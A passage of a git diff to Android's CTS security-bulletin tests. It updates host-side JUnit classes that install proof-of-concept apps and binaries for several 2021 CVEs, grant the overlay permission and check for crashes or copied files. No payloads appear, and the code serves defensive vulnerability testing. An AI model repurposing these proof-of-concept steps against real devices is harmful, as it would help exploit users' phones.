+     * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code)
      */
     @Test
     @AsbSecurityTest(cveBugId = 178725766)
     public void testPocCVE_2021_0430() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice());
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-0430";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_mfc_handle_read_op"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
deleted file mode 100644
index 5f0c200..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeInstant;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.platform.test.annotations.AsbSecurityTest;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assert.*;
-import static org.hamcrest.CoreMatchers.*;
-
-/**
- * Test that collects test results from test package android.security.cts.CVE_2021_0481.
- *
- * When this test builds, it also builds a support APK containing
- * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are
- * collected from the hostside and reported accordingly.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0481 extends BaseHostJUnit4Test {
-    private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
-    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
-    private static final String TEST_APP = "CVE-2021-0481.apk";
-
-    private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/";
-    private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/";
-
-    //defined originally as
-    //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
-    //in com.android.settings.users.EditUserPhotoController class
-    private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
-    private static final String TEST_FILE_NAME = "cve_2021_0481.txt";
-
-    @Before
-    public void setUp() throws Exception {
-        uninstallPackage(getDevice(), TEST_PKG);
-    }
-
-    @Test
-    @AsbSecurityTest(cveBugId = 172939189)
-    @AppModeFull
-    public void testRunDeviceTest() throws Exception {
-
-        String cmd;
-
-        //delete a source file just in case AdbUtils.pushResource()
-        //doesn't overwrite existing file
-        cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-
-        //push the source file to a device
-        AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
-
-        //delete a destination file which is supposed to be created by a vulnerable device
-        //by coping TEST_FILE_NAME -> TAKE_PICTURE_FILE_NAME
-        cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-
-        installPackage();
-
-        //ensure the screen is woken up.
-        //KEYCODE_WAKEUP wakes up the screen
-        //KEYCODE_MENU called twice unlocks the screen (if locked)
-        //Note: (applies to Android 12 only):
-        //      KEYCODE_MENU called less than twice doesnot unlock the screen
-        //      no matter how many times KEYCODE_HOME is called.
-        //      This is likely a timing issue which has to be investigated further
-        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
-        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
-        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
-
-        //run the test
-        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
-
-        //go to home screen after test
-        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
-
-        //Check if TEST_FILE_NAME has been copied by "Evil activity"
-        //If the file has been copied then it means the vulnerability is active so the test fails.
-        cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " +
-            DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
-        String result =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
-        CLog.i(cmd + " -->" + result);
-
-        //Delete files created by this test
-        cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-        cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-
-        //final assert
-        assertThat(result, not(is("0")));
-    }
-
-    private void installPackage() throws Exception {
-        installPackage(TEST_APP, new String[0]);
-    }
-}
-
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index db0a1b2..3e69288 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,85 +16,43 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends SecurityTestCase {
+public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0523.apk";
 
-    private static void extractInt(String str, int[] displaySize) {
-        str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " ");
-        if (str.equals("")) {
-            return;
-        }
-        String s[] = str.split(" ");
-        for (int i = 0; i < s.length; ++i) {
-            displaySize[i] = Integer.parseInt(s[i]);
-        }
+    @Before
+    public void setUp() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
     }
 
     /**
      * b/174047492
      */
-    @Test
+    @AppModeFull
     @AsbSecurityTest(cveBugId = 174047492)
+    @Test
     public void testPocCVE_2021_0523() throws Exception {
-        final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
-        String apkName = "CVE-2021-0523.apk";
-        String appPath = AdbUtils.TMP_PATH + apkName;
-        String packageName = "android.security.cts.cve_2021_0523";
-        String crashPattern =
-            "Device is vulnerable to b/174047492 hence any app with " +
-            "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
-        ITestDevice device = getDevice();
-
-        try {
-            /* Push the app to /data/local/tmp */
-            pocPusher.appendBitness(false);
-            pocPusher.pushFile(apkName, appPath);
-
-            /* Wake up the screen */
-            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-
-            /* Install the application */
-            AdbUtils.runCommandLine("pm install " + appPath, device);
-
-            /* Grant "Draw over other apps" permission */
-            AdbUtils.runCommandLine(
-                    "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device);
-
-            /* Start the application */
-            AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
-            Thread.sleep(SLEEP_INTERVAL_MILLISEC);
-
-            /* Get screen width and height */
-            int[] displaySize = new int[2];
-            extractInt(AdbUtils.runCommandLine("wm size", device), displaySize);
-            int width = displaySize[0];
-            int height = displaySize[1];
-
-            /* Give a tap command for center of screen */
-            AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device);
-        } catch (Exception e) {
-            e.printStackTrace();
-        } finally {
-            /* Un-install the app after the test */
-            AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
-            /* Detection of crash pattern in the logs */
-            String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
-            Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE);
-            assertThat(crashPattern, pattern.matcher(logcat).find(), is(false));
-        }
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                getDevice());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 34e2ca1..5a7ec8d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends BaseHostJUnit4Test {
+public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index 0c8f0a9..eb74b20 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@
 import android.platform.test.annotations.RequiresDevice;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import java.util.regex.Pattern;
 import org.junit.Assert;
 import org.junit.Before;
@@ -33,7 +33,7 @@
 import static org.junit.Assume.assumeTrue;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends BaseHostJUnit4Test {
+public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
new file mode 100644
index 0000000..29fd2b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
+    static final String TEST_APP = "CVE-2021-0642.apk";
+    static final String TEST_PKG = "android.security.cts.cve_2021_0642";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+    @Before
+    public void setUp() throws Exception {
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        uninstallPackage(device, TEST_PKG);
+    }
+
+    /**
+     * b/185126149
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 185126149)
+    @Test
+    public void testPocCVE_2021_0642() throws Exception {
+        installPackage(TEST_APP);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index f5f6b8b..26bba4a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends BaseHostJUnit4Test {
+public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0685.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index 9b592bd..bf261fd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.After;
@@ -38,7 +38,7 @@
  * Test installs sample app and then tries to overwrite *.apk file
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends BaseHostJUnit4Test {
+public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
     private static final String TEST_APP = "CVE-2021-0691.apk";
     private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 5f13cf6..2b7ad14 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends BaseHostJUnit4Test {
+public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index c46bede..fabaf89 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends BaseHostJUnit4Test {
+public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 27900e1..760c265 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@
 import android.util.Log;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.log.LogUtil.CLog;
 import org.junit.After;
 import org.junit.Assert;
@@ -30,7 +30,7 @@
 import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends BaseHostJUnit4Test {
+public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0921.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
new file mode 100644
index 0000000..ecb6bdd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 184046278)
+    @Test
+    public void testPocCVE_2021_0953() throws Exception {
+        final String TEST_PKG = "android.security.cts.CVE_2021_0953";
+        final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+        final String TEST_APP = "CVE-2021-0953.apk";
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index a242904..65934f2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -16,18 +16,20 @@
 
 package android.security.cts;
 
-import static org.junit.Assert.assertFalse;
+
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0965 extends BaseHostJUnit4Test {
+public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0965.apk";
@@ -45,10 +47,6 @@
     @Test
     public void testPocCVE_2021_0965() throws Exception {
         installPackage(TEST_APP, new String[0]);
-        runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
-        String errorLog = "Vulnerable to b/194300867 !!";
-        String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
-        Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
-        assertFalse(pattern.matcher(logcat).find());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"));
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
new file mode 100644
index 0000000..3b12ce5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase {
+    static final String TEST_APP = "CVE-2021-39626.apk";
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39626";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+    @AsbSecurityTest(cveBugId = 194695497)
+    @Test
+    public void testPocCVE_2021_39626() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage(TEST_APP, "-t");
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testBtDiscoverable");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
new file mode 100644
index 0000000..6cac004
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39664 extends SecurityTestCase {
+
+    /**
+     * b/203938029
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libandroidfw (As per AOSP code)
+     * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 203938029)
+    @Test
+    public void testPocCVE_2021_39664() throws Exception {
+        String inputFiles[] = {"cve_2021_39664"};
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-39664";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
+                        "android::LoadedPackage::Load"));
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
new file mode 100644
index 0000000..519bd24
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39665 extends SecurityTestCase {
+
